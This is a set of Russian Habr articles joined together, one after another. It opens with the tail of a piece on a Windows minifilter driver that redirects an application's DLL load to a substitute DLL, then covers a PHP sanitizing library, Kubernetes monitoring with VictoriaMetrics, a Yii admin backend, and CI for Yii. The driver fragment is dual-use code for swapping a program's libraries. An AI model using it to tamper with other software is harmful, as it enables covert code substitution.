if (RtlCompareUnicodeString(&FileNameInfo->Name, &strSw, TRUE) == 0)
{
// concat
NT_IF_FAIL_LEAVE(IMConcatStrings(&replacement, &FileNameInfo->ParentDir, &strHw));
// then need to change
NT_IF_FAIL_LEAVE(IoReplaceFileObjectName(FileObject, replacement.Buffer, replacement.Length));
}
Data->IoStatus.Status = STATUS_REPARSE;
Data->IoStatus.Information = IO_REPARSE;
return FLT_PREOP_COMPLETE;
```
Безусловно, реализация проекта целиком несколько более комплексная, но основные моменты я постарался раскрыть. Весь проект с подробностями [тут](https://github.com/Dabudabot/injection-monitor).
Тестируем
---------
Чтобы упростить наши тестовые запуски, вместо игры будем запускать небольшое приложение и библиотеки следующего содержания:
```
// testapp.exe
#include "TestHeader.h"
int main()
{
TestFunction();
return 0;
}
// testdll0.dll
#include "../include/TestHeader.h"
#include
// This is an example of an exported function.
int TestFunction()
{
std::cout << "hello from test dll 0" << std::endl;
return 0;
}
// testdll1.dll
#include "../include/TestHeader.h"
#include
// This is an example of an exported function.
int TestFunction()
{
std::cout << "hello from test dll 1" << std::endl;
return 0;
}
```
Соберем *testapp.exe* с *testdll0.dll*, и копируем их на виртуалку (а именно там мы планируем запускать), а также подготовим *testdll1.dll*. Задачей нашего драйвера будет заменить *testdll0* на *testdll1*. Мы поймем что у нас все получилось, если в консоли мы увидим сообщение *“hello from test dll 1”*, вместо *“hello from test dll 0”*. Запустим без драйвера, чтобы убедиться, что наше тестовое приложение работает корректно:
А теперь установим и запустим драйвер:
Теперь, запуская тоже самое приложение, мы получим совершенно другой вывод в консоль, так как загрузилась другая библиотека
Плюс в приложении, написанном для драйвера, мы видим логи, которые говорят, что мы действительно поймали наш запрос на открытие и заменили один файл на другой. Тест удался, пришло время проверить решение на самой игре. Наслаждаемся :)
Надеюсь, было полезно и интересно. Пишите ваши вопросы в комментариях, постараюсь ответить. | https://habr.com/ru/post/528992/ | null | ru | null |
# Rock Sanitize — простой и гибкий санитизатор
Всем привет!
Продолжаю рассказывать об инструментах, которые позволяют обезопасить ваше веб-приложение. Сегодня это библиотека для санитизации данных.
Санитизация удаляет (или экранирует) неправильные или небезопасные символы из пользовательского ввода, либо правильным образом формирует выходные данные.
Итак, тот, кто уже познакомился с [Rock Validate](http://habrahabr.ru/post/253621/) будет приятно удивлён похожим синтаксисом:
```
Sanitize::removeTags()
->lowercase()
->sanitize('**Hello World!**');
// output: hello world!
```
либо через конструктор:
```
(new Sanitize)->removeTags()->lowercase()->sanitize('**Hello World!**');
```
### Правила
Набор правил, пока недостаточно большой, но может с лёгкостью компенсироваться кастомизацией.
Существуют группы правил:
* строковые
* числовые
* приведение к типу
[Полный список правил](https://github.com/romeOz/rock-sanitize/blob/master/docs/rules.md).
Отмечу некоторые из них.
###### **call()**
В качестве первого аргумента принимает callable значение. Пример:
```
$s = Sanitize::call('mb_strtolower', ['UTF-8']);
$s->sanitize('ПрИвЕт МиР!');
// output: привет мир!
```
###### **unserialize()**
Автоматически определяет, является ли строка json или php представлением, а затем соответствующем образом десериализует её.
```
$s = Sanitize::unserialize()->removeTags()->trim()
$s->sanitize('{"name" : " **Tom** "}');
/*
output:
[
'name' => 'Tom'
]
*/
```
### Санитизация по атрибутам
Для санитизации массива/объекта по атрибутам используется метод attributes().
```
$input = [
'name' => '**Tom**',
'age' => -22
];
$attributes = [
'name' => Sanitize::removeTags(),
'age' => Sanitize::abs()
];
Sanitize::attributes($attributes)->sanitize($input);
/*
output:
[
'name' => 'Tom',
'age' => 22
]
*/
```
В том случае, если необходимо использовать одно правило на все атрибуты, то:
```
$input = [
'name' => '**Tom**',
'email' => '**tom@site.com**',
];
Sanitize::attributes(Sanitize::removeTags())->sanitize($input);
/*
output:
[
'name' => 'Tom',
'email' => 'tom@site.com'
]
*/
```
По умолчанию включён рекурсивный обход по атрибутам массива/объекта. Пример:
```
$input = [
'name' => '**Tom**',
'other' => [
'email' => '**tom@site.com**',
'note' => [
'**text...**'
]
]
];
Sanitize::attributes(Sanitize::removeTags())->sanitize($input);
/*
output:
[
'name' => 'Tom',
'other' => [
'email' => 'tom@site.com',
'note' => [
'text...'
]
]
]
*/
```
Можно отключить это поведение:
```
Sanitize::recursive(false)->attributes(Sanitize::removeTags());
```
### Дополнительные возможности
Предусмотрена возможность указать набор правил по остаточному принципу, а именно:
```
$input = [
'name' => ' **Tom**',
'email' => '**tom@site.com** ',
'age' => -22,
];
$s = Sanitize::attributes([
'age' => Sanitize::abs(),
'*' => Sanitize::removeTags()->trim()
]);
$s->sanitize($input);
/*
output:
[
'name' => 'Tom',
'email' => 'tom@site.com',
'age' => 22,
]
*/
```
Метку «\*» можно заменить на любую другую:
```
Sanitize::labelRemainder('_remainder');
```
> Аналогичная возможность теперь доступна в Rock Validate.
Если необходима санитизация атрибута находящегося в глубине массива, то можно указать цепочку из ключей:
```
$input = [
'name' => '**Tom**',
'other' => [
'tel' => '**777-777**',
'email' => '**tom@site.com**',
'note' => [
'first' => ' **text...** ',
]
]
];
$attributes = [
'other.email' => Sanitize::removeTags(),
'other.note.first' => Sanitize::removeTags()->trim()
];
Sanitize::attributes($attributes)->sanitize($input);
/*
output:
[
'name' => '**Tom**',
'other' => [
'tel' => '**777-777**',
'email' => 'tom@site.com',
'note' =>[
'first' => 'text...',
]
]
]
*/
```
Данная возможность доступна только для массивов.
### Кастомизация
Создаём класс с правилом:
```
use rock\sanitize\rules\Rule
class Round extends Rule
{
protected $precision = 0;
public function __construct($precision = 0)
{
$this->precision= $precision;
}
public function sanitize($input)
{
return round($input, $this->precision);
}
}
```
Профит:
```
$config = [
'rules' => [
'round' => \namespace\to\Round::className()
]
];
$s = new Sanitize($config);
$s->round()->sanitize(7.4); // output: 7.0
```
Таким образом, можно осуществить подмену существующих правил или указать другие алиасы к правилам.
### Установка
```
composer require romeoz/rock-sanitize:*
```
[**Проект на github**](https://github.com/romeOz/rock-sanitize) | https://habr.com/ru/post/254045/ | null | ru | null |
# Как в Smarkets улучшили мониторинг для своих Kubernetes-кластеров
***Прим. перев.**: автор этой статьи — ведущий инженер по инфраструктуре в Smarkets, что позиционирует себя как «одну из самых прибыльных [по доходам на каждого сотрудника] компаний в Европе». Работая с большой и чувствительной к мониторингу инфраструктурой на базе Kubernetes, инженеры компании нашли своё счастье с VictoriaMetrics, которая помогла им решить проблемы с Prometheus, возникшие после добавления новых K8s-кластеров.*
Мониторинг внутренних endpoint'ов и API Kubernetes может быть проблематичным, особенно если стоит задача использовать автоматизированную инфраструктуру как сервис. Мы в Smarkets еще не достигли этой цели, но, к счастью, уже довольно близки к ней. Я надеюсь, что наш опыт в этой области поможет и другим реализовать нечто подобное.
Мы всегда мечтали о том, чтобы разработчики прямо «из коробки» получали возможность мониторинга для любого приложения или сервиса. До перехода на Kubernetes эта задача выполнялась либо с помощью метрик Prometheus, либо с помощью statsd, который пересылал статистику на базовый хост, где она конвертировалась в метрики Prometheus. Наращивая применение Kubernetes, мы начали разделять кластеры, и нам захотелось сделать так, чтобы разработчики могли экспортировать метрики напрямую в Prometheus через аннотации к сервисам. Увы, эти метрики были доступны только внутри кластера, то есть их нельзя было собирать глобально.
Эти ограничения стали «бутылочным горлышком» для нашей конфигурации, существовавшей до полного перехода на Kubernetes. В конечном итоге они заставили пересмотреть архитектуру и способ мониторинга сервисов. Как раз об этом путешествии и пойдет речь ниже.
Отправная точка
---------------
Для метрик, связанных с Kubernetes, мы используем два сервиса, предоставляющих метрики:
* `kube-state-metrics` генерирует метрики для объектов Kubernetes на основе информации от API-серверов K8s;
* `kube-eagle` экспортирует метрики Prometheus для pod’ов: их request'ы, limit'ы, использование.
Можно (и в течение некоторого времени мы делали это) выставлять сервисы с метриками за пределы кластера или открывать прокси-подключение к API, однако оба варианты не были идеальны, поскольку замедляли работу и не обеспечивали должную независимость и безопасность систем.
Обычно разворачивалось решение для мониторинга, состоящее из центрального кластера из Prometheus-серверов, работающих внутри Kubernetes и собиравших метрики с самой платформы, а также внутренние метрики Kubernetes с этого кластера. Основная причина, по которой был выбран такой подход, состояла в том, что в процессе перехода на Kubernetes мы собрали все сервисы в одном и том же кластере. После добавления дополнительных Kubernetes-кластеров наша архитектура выглядела следующим образом:
Проблемы
--------
Подобную архитектуру нельзя назвать устойчивой, эффективной и производительной: ведь пользователи могли экспортировать statsd-метрики из приложений, что приводило к невероятно высокой кардинальности некоторых метрик. Подобные проблемы могут быть вам знакомы, если приведенный ниже порядок величин кажется привычным.
При анализе 2-часового блока Prometheus:
* 1,3 млн метрик;
* 383 имени лейблов;
* максимальная кардинальность на метрику — 662 000 (больше всего проблем именно из-за этого).
Столь высокая кардинальность преимущественно связана с выставлением наружу таймеров statsd, включающих HTTP-пути. Мы знаем, что подобная реализация не идеальна, однако эти метрики используются для отслеживания критических ошибок в канареечных развертываниях.
В спокойное время собиралось около 40 000 метрик в секунду, однако их число могло вырастать до 180 000 в отсутствии каких-либо проблем.
Некоторые специфические запросы по метрикам с высокой кардинальностью приводили к тому, что у Prometheus (предсказуемо) заканчивалась память — весьма неприятная ситуация, когда он (Prometheus) используется для алертов и оценки работы канареечных развертываний.
Другая проблема состояла в том, что в условиях, когда на каждом экземпляре Prometheus хранились данные за три месяца, время запуска (WAL replay) оказывалось очень высоким, и это обычно приводило к тому, что тот же самый запрос направлялся на второй экземпляр Prometheus и «ронял» уже его.
Чтобы устранить эти проблемы, мы внедрили Thanos и Trickster:
* Thanos позволил хранить меньше данных в Prometheus и сократил число инцидентов, вызванных чрезмерным использованием памяти. Рядом с контейнером Prometheus Thanos запускает sidecar-контейнер, который складирует блоки данных в S3, где их затем сжимает thanos-compact. Таким образом, с помощью Thanos'а было реализовано долгосрочное хранение данных за пределами Prometheus.
* Trickster, со своей стороны, выступил обратным прокси и кэшем для баз данных временных рядов. Он позволил нам закэшировать до 99,53% всех запросов. Большинство запросов поступает от панелей мониторинга, запущенных на рабочих станциях/ТВ, от пользователей с открытыми контрольными панелями и от алертов. Прокси, способный выдавать только дельту во временных рядах, отлично подходит для подобной нагрузки.
[](https://habrastorage.org/webt/sq/5f/a1/sq5fa1rmh5nxdqttx_kkg1lx7xc.png)
У нас также начали возникать проблемы при сборе kube-state-metrics из-за пределов кластера. Как вы помните, частенько приходилось обрабатывать до 180 000 метрик в секунду, а сбор тормозил уже при выставлении 40 000 метрик в единственном ingress’е kube-state-metrics. У нас установлен целевой 10-секундный интервал для сбора метрик, а в периоды высокой нагрузки этот SLA часто нарушался удаленным сбором kube-state-metrics или kube-eagle.
Варианты
--------
Размышляя над тем, как улучшить архитектуру, мы рассмотрели три различных варианта:
1. Prometheus + Cortex (<https://github.com/cortexproject/cortex>);
2. Prometheus + Thanos Receive ([https://thanos.io](https://thanos.io/));
3. Prometheus + VictoriaMetrics (<https://github.com/VictoriaMetrics/VictoriaMetrics>).
Подробную информацию о них и сравнение характеристик можно найти в интернете. В нашем конкретном случае (и после тестов на данных с высокой кардинальностью) явным победителем оказалась VictoriaMetrics.
Решение
-------
### Prometheus
Пытаясь улучшить описанную выше архитектуру, мы решили изолировать каждый кластер Kubernetes как отдельную сущность и сделать Prometheus его частью. Теперь любой новый кластер идет со включенным «из коробки» мониторингом и метриками, доступными в глобальных dashboard'ах (Grafana). Для этого сервисы kube-eagle, kube-state-metrics и Prometheus были интегрированы в кластеры Kubernetes. Затем Prometheus конфигурировался с помощью внешних лейблов, идентифицирующих кластер, а `remote_write` указывал на `insert` в VictoriaMetrics (см. ниже).
### VictoriaMetrics
База данных временных рядов VictoriaMetrics реализует протоколы Graphite, Prometheus, OpenTSDB и Influx. Она не только поддерживает PromQL, но и дополняет его новыми функциями и шаблонами, позволяя избежать рефакторинга запросов Grafana. Кроме того, ее производительность просто потрясает.
Мы развернули VictoriaMetrics в режиме кластера и разбили на три отдельных компонента:
#### 1. VictoriaMetrics storage (vmstorage)
Этот компонент отвечает за хранение данных, импортированных `vminsert`. Мы ограничились тремя репликами этого компонента, объединенными в StatefulSet Kubernetes.
```
./vmstorage-prod \
-retentionPeriod 3 \
-storageDataPath /data \
-http.shutdownDelay 30s \
-dedup.minScrapeInterval 10s \
-http.maxGracefulShutdownDuration 30s
```
#### VictoriaMetrics insert (vminsert)
Этот компонент получает данные от deployment'ов с Prometheus и переправляет их в `vmstorage`. Параметр `replicationFactor=2` реплицирует данные на два из трех серверов. Таким образом, если один из экземпляров `vmstorage` испытывает проблемы или перезапускается, все равно остается одна доступная копия данных.
```
./vminsert-prod \
-storageNode=vmstorage-0:8400 \
-storageNode=vmstorage-1:8400 \
-storageNode=vmstorage-2:8400 \
-replicationFactor=2
```
#### VictoriaMetrics select (vmselect)
Принимает PromQL-запросы от Grafana (Trickster) и запрашивает исходные данные из `vmstorage`. В настоящее время у нас выключен кэш (`search.disableCache`), поскольку в архитектуре присутствует Trickster, который и отвечает за кэширование; поэтому надо, чтобы `vmselect` всегда извлекал последние полные данные.
```
/vmselect-prod \
-storageNode=vmstorage-0:8400 \
-storageNode=vmstorage-1:8400 \
-storageNode=vmstorage-2:8400 \
-dedup.minScrapeInterval=10s \
-search.disableCache \
-search.maxQueryDuration 30s
```
Общая картина
-------------
Текущая реализация выглядит следующим образом:
Примечания к схеме:
* Production-кластер и кластеры со вспомогательными сервисами более не хранят данные мониторинга. Цель данного конкретного изменения состояла в том, чтобы ограничить глобальную функцию кластеров K8s и предотвратить каскадные отказы. В случае выхода из строя какого-либо кластера важно иметь доступ к метрикам и логам, которые помогут установить суть проблемы. Совместная работа сервисов в одних и тех же кластерах повышала вероятность каскадных отказов и затрудняла диагностику первопричины сбоя.
* Каждый deployment в составе кластера K8s идет вместе с локальным Prometheus'ом, который собирает исключительно внутренние метрики и отправляет их в VictoriaMetrics insert в инфраструктурном кластере Kubernetes.
* В инфраструктурном кластере Kubernetes работают два deployment'а с Prometheus, выполняющие разные функции. Вообще говоря, подобная схема не была строго обязательной, однако она придала процессу мониторинга Kubernetes необходимую согласованность, так что любые изменения теперь автоматически и единообразно применяются ко всем кластерам. Global Prometheus теперь отвечает только за сбор метрик с экземпляров EC2, с colocation-хостинга и любых других не-Kubernetes-сущностей.
Заключение
----------
Ниже приведены метрики, которые в настоящее время обрабатывает VictoriaMetrics (итоговые данные за две недели, на графиках показан промежуток в два дня):
[](https://habrastorage.org/webt/jt/kn/8x/jtkn8xep5koxtt3796mp9-ckvvw.png)
Новая архитектура отлично себя зарекомендовала после перевода в production. На старой конфигурации у нас случалось по два-три «взрыва» кардинальности каждую пару недель, на новой их число упало до нуля.
Это отличный показатель, но есть еще несколько моментов, которые мы планируем улучшить в ближайшие месяцы:
* Снизить кардинальность метрик, улучшив интеграцию statsd.
* Сравнить кэширование в Trickster и VictoriaMetrics — нужно оценить влияние каждого решения на эффективность и производительность. Есть подозрение, что от Trickster можно вообще отказаться, ничего не потеряв.
* Превратить Prometheus в stateless-сервис — пока он работает как stateful, однако для этого нет особых причин. Мы до сих пор используем лейблы на основе постоянного сетевого имени, предоставляемого StatefulSet'ом, так что об этом придется помнить (как и о pod disruption budgets).
* Оценить работу `vmagent` — компонента VictoriaMetrics для сбора метрик с Prometheus-совместимых exporter'ов. Учитывая, что на данный момент наш Prometheus только этим и занимается, это перспективное направление для улучшения. В будущем `vmagent` позволит полностью отказаться от Prometheus (его бенчмарки выглядят многообещающе!).
Если у вас есть предложения или идеи, связанные с озвученными выше улучшениями, пожалуйста, [свяжитесь с нами](https://smarketshq.com/). Если же вы работаете над улучшением мониторинга Kubernetes, надеемся, что эта статья, описывающая наш непростой путь, оказалась полезной.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Будущее Prometheus и экосистемы проекта (2020)](https://habr.com/ru/company/flant/blog/513574/)»;
* «[Мониторинг и Kubernetes](https://habr.com/ru/company/flant/blog/412901/)» (обзор и видео доклада);
* «[Устройство и механизм работы Prometheus Operator в Kubernetes](https://habr.com/ru/company/flant/blog/412901/)». | https://habr.com/ru/post/528446/ | null | ru | null |
# Backend в проекте на Yii
В сети очень мало информации по созданию административных страничек в приложениях и наверно каждый использует свои решения. Именно сейчас хотел бы рассказать к чему я дошел за пол года разработки сайтов на Yii (статья только для тех, кто разбирается во фремворке).
При постановке цели всегда следует подумать, что действительно нужно. В случает с backend-частью сайта это:
* Минимум кода и как следствие некоторое обобщение данных
* Возможность расширения для особенных разделов
* Отсутствие прямой связи frontend и backend частей сайта
##### Минимум кода
Думаю многие разработчики, которые генерировали CRUD с помощь встроенного генератора Yii, знают, что создается практически одинаковый код, что раздражает и немного противоречит принципам ООП. Дополнительно к этому можно сказать, что действия Create и Update различаются только наличием id (у новой записи id ещё не создан), поэтому можем исключить действие Create.
##### Некоторое обобщение данных
В данный момент единственное обобщение данных, которое я использую — это статус “В корзине” для записи в таблице. Если рассказать об этом очень кратко, то получится, что почти во всех таблицах у меня есть поле status (tinyint, index) со значениями 0 — обычное и 1 — удаленное состояние.
##### Возможность расширения для особенных разделов
Наверно во всех правилах есть исключения и их мы должны обязательно предусмотреть их решение. В случае с backend это возможность переопределить любое стандарное поведение базового функционала.
##### Отсутствие прямой связи frontend с backend
Вackend является дополнительным функционалом и должен безболезненно удалятся из приложения. В моём случае это безболезненное удаление одноименного модуля.
#### Практика в 7 шагов
1. Создаем модуль «backend» стандартными средствами Gii (я не буду это подробно описывать, для этого есть официальная документация).
2. Создаем базовую модель, которая в умеет случае умеет работать с корзиной.
```
abstract class TModel extends CActiveRecord
{
const STATUS_DEFAULT = 0;
const STATUS_REMOVED = 1;
public function defaultScope()
{
return array(
'condition' => 'status=' . self::STATUS_DEFAULT
);
}
public function removed()
{
$this->resetScope()->getDbCriteria()->mergeWith(array(
'condition' => 'status=' . self::STATUS_REMOVED
));
return $this;
}
public function restore()
{
if($this->getIsNewRecord())
throw new CDbException(Yii::t('yii','The active record cannot be deleted because it is new.'));
if($this->status != self::STATUS_REMOVED)
return false;
$this->status = self::STATUS_DEFAULT;
$this->save(false, array('status'));
return true;
}
public function beforeDelete()
{
if($this->status == self::STATUS_DEFAULT)
{
$this->status = self::STATUS_REMOVED;
$this->save(false, array('status'));
return false;
}
return parent::beforeDelete();
}
}
```
3. Создаем базовый контроллер для CRUD.
```
class BackendController extends CController
{
public $defaultAction = 'list';
public function actions()
{
return array(
'list' => 'backend.actions.ListAction',
'update' => 'backend.actions.UpdateAction',
'delete' => 'backend.actions.DeleteAction',
'restore' => 'backend.actions.RestoreAction',
);
}
}
```
4. Создаем базовое действие, которое «догадывается» с какой моделью и представлением работает (обычно не комментирую код, но тут специально для статьи сделал несколько комментариев).
```
abstract class BackendAction extends CAction
{
private $_modelName;
private $_view;
/**
* Упрощенная переадресация по действиям контроллера
* По-умолчанию переходим на основное действие контроллера
*/
public function redirect($actionId = null)
{
if($actionId === null)
$actionId = $this->controller->defaultAction;
$this->controller->redirect(array($actionId));
}
/**
* Рендер представление.
* По-умолчанию рендерим одноименное представление
*/
public function render($data, $return = false)
{
if($this->_view === null)
$this->_view = $this->id;
return $this->controller->render($this->_view, $data, $return);
}
/**
* Возвращаем новую модель или пытаемся найти ранее
* созданную запись, если известен id
*/
public function getModel($scenario = 'insert')
{
if(($id = Yii::app()->request->getParam('id')) === null)
$model = new $this->modelName($scenario);
else if(($model = CActiveRecord::model($this->modelName)->resetScope()->findByPk($id)) === null)
throw new CHttpException(404, Yii::t('base', 'The specified record cannot be found.'));
return $model;
}
/**
* Возвращает имя модели, с которой работает контроллер
* По-умолчанию имя модели совпадает с именем контроллера
*/
public function getModelName()
{
if($this->_modelName === null)
$this->_modelName = ucfirst($this->controller->id);
return $this->_modelName;
}
public function setView($value)
{
$this->_view = $value;
}
public function setModelName($value)
{
$this->_modelName = $value;
}
}
```
5. Создаем базовое действие List.
```
class ListAction extends BackendAction
{
public function run($showRemoved = null)
{
$model = $this->getModel('search');
if($showRemoved !== null)
$model->removed();
if(isset($_GET[$this->modelName]))
$model->attributes = $_GET[$this->modelName];
$this->render(array(
'model' => $model,
'showRemoved' => $showRemoved,
));
}
}
```
6. Создаем базовое действие Update.
```
class UpdateAction extends BackendAction
{
public function run()
{
$model = $this->getModel();
if(isset($_POST[$this->modelName]))
{
$model->attributes = $_POST[$this->modelName];
if($model->save())
$this->redirect();
}
$this->render(array('model' => $model));
}
}
```
6. Создаем базовое действие Delete.
```
class DeleteAction extends BackendAction
{
public function run()
{
$this->getModel()->delete();
$this->redirect();
}
}
```
7. Создаем базовое действие Restore(восстановление).
```
class RestoreAction extends BackendAction
{
public function run()
{
$this->getModel()->restore();
$this->redirect();
}
}
```
#### Проверка
Для проверки всего вышенаписанного создадим модель и контроллер Article.
```
class Article extends TModel
{
public static function model($className=__CLASS__)
{
return parent::model($className);
}
public function tableName()
{
return 'article';
}
public function rules()
{
return array(
array('name, content, createTime', 'required'),
);
}
}
class ArticleController extends BackendController
{
//Сейчас все довольно стандартно, поэтому ничего более не пишем
}
```
#### Итог
В простейшем варианте получается, что для создание нового CRUD нужно создать пустой контроллер и два представления (list, update). Если нужно дополнительный функционал просто его дописываем или переписываем текущий.
#### Примечание
Я не буду описывать код представлений, ибо он скорей всего будет уникален для каждого разработчика, да и его можно взять из стандартного CRUD. | https://habr.com/ru/post/126576/ | null | ru | null |
# Yii, непрерывная интеграция — как не сломать все
Мы часто экспериментируем с архитектурой, кодом, производительностью. Постоянно добавляем новый функционал. Мы постепенно обвязываем Yii своей “архитектурной” прослойкой — шардинг, работа с временно недоступными данными, разнообразные кеши и многое другое. Да, плод нашей работы, когда он будет заврешен, пойдет в Open Source.
Задача применяемой у нас Непрерывной Интеграции (Continuous Integration, CI) — не тестирование. Задача CI — обезопасится от разрушительных изменений в следствие рефакторинга, добавления нового функционала, изменений архитектуры. Также мы защищаемся от “плохого кода”, часто повторяющихся багов, “кривых” merge.
Для своего CI мы используем Jenkins под Debian. Время на развертку CI я затратил 12 часов — до полностью рабочего состояния. На поддержку CI я не трачу ни минуты в день — я не пишу тесты на каждую мелочь, не практикую TDD. Тем не менее, CI работает и спасает нас от глупых ошибок.
“Давайте будем внимательней”/”Давайте не делать ошибок” — взывал я к разработчикам, но это помогало лишь временно и то не на все 100%. Людям свойственно ошибаться, забывать, совершать оплошности. Нет, я не изобрел “серебряную пулю” для web-проектов и даже маленьку пульку для Yii — я придумал как стабилизировать свое приложение. Ваше приложение отличается от моего и мои методы у Вас могут не работать, да и не должны — я же делал их не для Вашего приложения, если мои методы работаю у Вас — примите это как чудо или как везение. Зато идея такого CI будет работать везде. Всего лишь идея.
#### В чем идея
Идея в том, чтобы регрессивно проверять приложение на предмет “отвалившегося” функционала без затраты N часов на тесты в день. Добиться этого просто — если написать один тест на “абстрактную сущность” — то тест должен проходить со всеми её “конкретными” имплементациями. Если стандартизировать код — сделать разные его части имплементацией нескольких абстракций, например трех — весь код можно будет покрыть 3мя проверками. Да, именно “проверками”, а не тестами — я не тестирую функционал, я проверяю, что “код работает, не падает, не фаталит”. При правильном коде редко ломается бизнес-логика так, чтобы не вызвать фатальной ошибки. По крайней мере у нас. Мы стараемся писать код так — если логика работает верно — она работает, если нет — кидается FatalException или происходят другие фатальные ошибки. Я считаю этот “жесткий” путь верным, т.к. иначе будет очень сложно искать сломавшуюся логику.
Мы стандартизировали код до следующих абстракций: модель (она уже вполне стандартна в Yii и имеет вполне понятный интерфейс с методами find, save, delete). контроллер (он тоже вполне стандартный), экшен (action), компонент, библиотека.
Если с моделями все просто, то с контроллерами и экшенами пришлось повозится. Мы решили, что любой внешний вызов (http, console) не должен вызывать фатальной ошибки (http >= 500): нет сущности — значит 404, кривой запрос — значит 400, нет доступа — 403. Если Ваш контроллер фаталит при обращении к нему с несуществующей id или с какими либо еще кривыми параметрами — это неверное поведение с точки зрения протокола http — ошибка пользователя — это 4xx, а не 5xx — не нужно фаталить при кривых запросах, нужно давать пользователю осмысленную ошибку “что он делает не так”.
Собственно проверка контроллеров и была построена по этому принципу — конструируем модуль, контроллер, дергаем action — смотрим что произошло — ExceptionPage404 — это нормально (данные то мы в $\_GET не передали), а вот если FatalException или PHP Error — это уже плохо — тест не прошел.
Компоненты для Yii, которые мы пишем мы тоже стандартизировали. В нашем случае любой компонент — это расширение существующего функционала Yii. Например, добавление шардинга, глобальный кеш БД. Такой функционал одновременно имплементирует две абстракции — модель Yii и наш компонент раширения. Проверяется он тоже 2 раза — на примере всех моделей, и отдельно как компонент.
Библиотеки — это написанный нами совсем “левый” функционал, не имеющий отношения к Yii, а реализующий только какой-то частный случай логики, чаще всего — взаимодействие с другими сервисами нашей сервис-ориентированной архитектуры. Проверки и тесты на них — тема для отдельной статьи, скажу лишь одно — мы проверяем их как отдельные проекты в нашем CI и производим “интеграционные тесты” внутри основного приложения.
#### Реализация на нашем примере
У нас 4 шага сборки:
* Деплой, миграции, установка/обновление зависимостей — она не имеет отношения к описанной выше идее, просто скажу что оно есть.
* Проверка качества кода
* Интерфейсная проверка кода — имплементация описанной выше идеи.
* Небольшое количество Unit-тестов на часто всплывающие баги (как просто phpunit, так и selenium+phpunit). Они крайне редко “поддерживаются” или добавляются — поэтому я наприсал “не трачу N часов в день на тесты” — я трачу от силы 1 час в месяц на написание 1 теста, на 1 надоевший баг.
##### Шаг первый — деплой
Выполняется проверка в 2х вариантах — миграция с предыдущей версии (идентичной текущему состоянию продакшина) и развертка с нуля (с автоматизированной установкой виртуалных машин, автоматической конфигурацией puppet, разверткой приложения и базы)
Ничего конкретного не скажу, т.к. это не касается данной статьи и совсем другая история.
##### Шаг второй — качество кода
Первое что мы проверяем: “php -l” — все ли у нас парсится — без этого дальнейшее не имеет смысла. Второе что мы ищем в коде — это запрещенные вызовы: die, var\_dump, ini\_set, exit. Потом ищем с помощью обычного fgrep последствия кривого мержа: “<<<<<<<”, “>>>>>>”, “======” — такой мусор временами проскакивает, когда мержили руками и одно конфиликтное место не заметили и не разрешили конфликт.
Так же мы ищем с помощью регулярных выражений следующее:
* Методы длинной в много экранов кода.
* Слишком вложенный код вида “5 вложенных if”
* Слишком “загруженный код” вида print(preg\_replace(‘/@/’, “/%/”, “a”.substr(1, 5, $lala).(int)(bool)$d)); — сложно читать, сложно писать и не хочется смотреть на такой код.
##### Шаг третий — интерфейсная проверка кода
Он разбит на несколько “подшагов” — проверка моделей, контроллеров, компонентов, универсальный selenium-проверки (да, и такое тоже есть! чуть ниже расскажу), интеграционные тесты с библиотеками.
Подробно расскажу о самом простом и самом интересном. Самое простое — модели.
Любая модель должна: сохранятся, выбиратся, удалятся. Она именно для этого и существует. Специально для этого теста мы добавили в каждую модель статический метод, создающий “дефолтную валидную модель” — модель которую можно создать, сохранить, удалить из БД, проходящую валидацию.
На самом деле мы не писали в 250 моделях 250 методов для создания таких моделей. Мы написали один метод у родителя — он вычленяет из rules параметры вылидации и заполняет поля валидными значениями. Потратил я на это — 2 часа.
В итоге для каждой модели в цикле мы делаем примерно следующее:
```
$model = ModelClass::createDefault(); //создаем дефолтную модель
$this->assertNotNull($model); //создалась?
$this->assertTrue($model->save()); //сохранилась?
$pk = $model->getPk(); //выбираем primary key
$loaded = ModelClass::model()->findByPk($pk); //ищем модель по этому primary key
$this->assertNotNull($loaded); //нашли?
$this->assertTrue($model->delete()); //удаляется?
$this->assertIsNull(ModelClass::model()->findByPk($pk)); //удалили?
```
Этой не хитрой проверкой мы сделали следующее: убедились, что шардинг прослойка работает, кеш БД не мешает нормальной работе, таблица в БД нормально смигрировала и эта модель в эту таблицу сохраняется (+ тригеры не падают).
Самое интересное же — selenium проверки.
Мы изучили наш интерфейс и пришли к радостному выводу — он вполне стандартизирован. Есть 4 основных варианта взаимодействия с пользователем:
* Смена глобальной страницы
* Смена Таба
* Открытие диалогового окна
* Отправка формы в диалоговом окне
Первые три пункта автоматизировались крайне легко — теги A и Button меняющие глобальную страницу имеют css-класс global, меняющие таб — имеют атрибут data-tab, открывающие диалог — имеют атрибут data-msgbox. Нам было достаточно сделать 3 вложенных цикла: меняет страницу (тупо кликает на кнопку), меняет таб (тоже жмет на кнопку), открывает диалог (и тоже просто нажатие). На каждом из вложенных этапов мы проверяем — изменился ли контент страницы, поменялся ли контент в div-е для табов, открылся ли диалог. Попутно собираем из браузера возникшие ошибки js.
С формами было несколько хитрее. Нам пришлось добавить к элементам формы атрибуты data-type со значениями возможных валидных данных — data-type = “email”, “anyString”, “checkboxChecked”, “phone”, “anyFile”, и другие. И вот! Формы стандартизированы и мы имеем общий интерфейс для всех input-ов — в поля с валидными email мы заполняем email, в поля с phone — телефон, и так по всем полям. Отправляем форму и проверяем, что диалог закрылся без ошибок — значит данные сохранились. Потом повторяем все тоже самое с невалидными данными, например в поле email пишем телефон — и проверяем что форма не отправилась, а ошибка для пользователя появилась.
На добавление атрибутов в поля форм я потратил около 1,5 часа. И у нас не мало форм — просто это простая работа и если сесть и сделать — то это не долго.
Таким вот нехитрым (а может и хитрым) методом мы проверили весь UI на предмет:
* Фаталов при открытии страниц, табов, окон
* Фаталов при отправке валидных и невалидных форм.
* Что формы сохраняются с валидными данными
* Что формы выдают ошибки с не валидными данными.
##### Юнит-тесты и selenium-тесты
Честно скажу — их мало, очень мало. Их мы добавляем только тогда когда появился повторявшийся баг и в очередной раз тестировщики сказали “ну вот снова не работает!”
Мы никогда не меняем старые, написанные тесты — мы разрабатываем приложение с учетом обратной совместимости. Это нужно не только ради тестов — приложение имеет API для мобилок/десктопов и оно обязано быть обратно совместимым.
#### И что дальше?
Чуть позже мы стандартизировали наш js-код и покрыли его (спасибо за testit товрищу [titulusdesiderio](http://habrahabr.ru/users/titulusdesiderio/) — мы адаптировали его под запуск из под nodejs и там тестируем свой js)
Еще позже мы покрыли тестами css+html верстку — проверяли развалившуюся верстку с помощью diff-а скриншотов, на предмет кривизны.
